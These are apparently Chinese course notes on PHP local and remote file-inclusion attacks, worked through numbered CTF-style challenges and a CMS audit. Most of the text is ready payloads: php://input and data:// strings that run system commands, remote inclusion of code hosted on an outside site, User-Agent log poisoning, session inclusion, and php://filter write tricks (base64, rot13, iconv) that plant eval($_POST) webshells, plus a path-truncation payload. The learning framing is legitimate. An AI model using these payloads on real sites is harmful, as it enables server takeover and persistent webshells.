该漏洞使用多,因为基本上都会使用文件包含来执行代码。比如一些验证模块,是写好之后再在需要认证的地方引用它
1、本地包含LFI&远程包含RFI-区别
一个只能包含本地,一个可以远程加载
具体形成原因由代码和环境配置文件决定
2、各类脚本语言包含代码写法-见下文
<!–#include file=”1.asp” –>
<!–#include file=”top.aspx” –>
<c:import url=”http://thief.one/1.jsp”>
<jsp:include page=”head.jsp”/>
<%@ include file=”head.jsp”%>
<?php Include(‘test.php’)?>
3、各类脚本语言包含伪协议玩法-见图
https://www.cnblogs.com/endust/p/11804767.html
#思路要点:
-黑盒发现:主要观察参数传递的数据和文件名是否对应
-白盒发现:
1、可通过应用功能追踪代码定位审计
2、可通过脚本特定函数搜索定位审计
3、可通过伪协议玩法绕过相关修复等
在一些存在文件包含漏洞的地方,我们要的到目标内容,在不知道路径以及要包含文件的信息时,可以使用一些伪协议,如php的一些伪协议。在迪总的演示中使用: ?file=php://input
然后用post发送数据
要注意的是,如果要使用伪协议,需要配合配置文件,比如如下图,特定的协议需要在配置文件中设置为打开状态才能使用

78-php&http协议
payload: ?file=php://filter/read=convert.base64-encode/resource=flag.php
payload: ?file=php://input post:<?php system(‘tac flag.php’);?>
payload: ?file=http://www.xiaodi8.com/1.txt 1.txt:<?php system(‘tac flag.php’);?>
79-data&http协议
payload: ?file=data://text/plain,<?=system(‘tac flag.*’);?>
payload: ?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZmxhZy5waHAnKTs/Pg==
payload: ?file=http://www.xiaodi8.com/1.txt 1.txt:<?php system(‘tac flag.php’);?>
80 81-日志包含
1、利用其他协议,如file,zlib等
2、利用日志记录UA特性包含执行
分析需文件名及带有php关键字放弃
故利用日志记录UA信息,UA带入代码 //这跟之前文件上传时用到的思路一样,尝试包含日志文件,比如nginx的日志是下面路径,包含执行后抓包,修改UA头,改成payload,放行后,可以在日志查看。
包含:/var/log/nginx/access.log
82-86-SESSION包含 //迪总演示中,linux保存session的地址xxx/temp/temp,每有一次尝试访问网站都会产生session会话。
https://www.cnblogs.com/lnterpreter/p/14086164.html
https://www.cnblogs.com/echoDetected/p/13976405.html
87-php://filter/write&加密编码
1、利用base64: // 有些时候,过滤了“.”也就是不能包含日志文件了
url编码2次:php://filter/write=convert.base64-decode/resource=123.php
content=aaPD9waHAgQGV2YWwoJF9QT1NUW2FdKTs/Pg==
2、利用凯撒13: //rot 13
url编码2次:php://filter/write=string.rot13/resource=2.php
content=<?cuc riny($_CBFG[1]);?>
88-data&base64协议
过滤PHP,各种符号,php代码编码写出无符号base64值
Payload:file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgKi5waHAnKTtlY2hvIDEyMzs/PmFk
117-php://filter/write&新的算法
convert.iconv.:一种过滤器,和使用iconv()函数处理流数据有等同作用
<?php
$result = iconv(“UCS-2LE”,”UCS-2BE”, ‘<?php eval($_POST[a]);?>’);
echo “经过一次反转:”.$result.”\n”;
echo “经过第二次反转:”.iconv(“UCS-2LE”,”UCS-2BE”, $result);
?>
Payload:file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php
contents=?<hp pvela$(P_SO[T]a;)>?
#CMS源码-XHCMS-代码审计&日志&绕过 //如果url会被拼接,那么伪协议就用不了,比如“file”.$url.”.php”这样的话,伪协议会失去作用
1、搜索特定函数寻包含点
2、固定目录及后缀名需绕过
3、由CMS无上传用日志包含
4、利用长度绕过后缀名固定 //php低版本的缺陷
Payload:
?r=../../../Apache/logs/access.log/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././
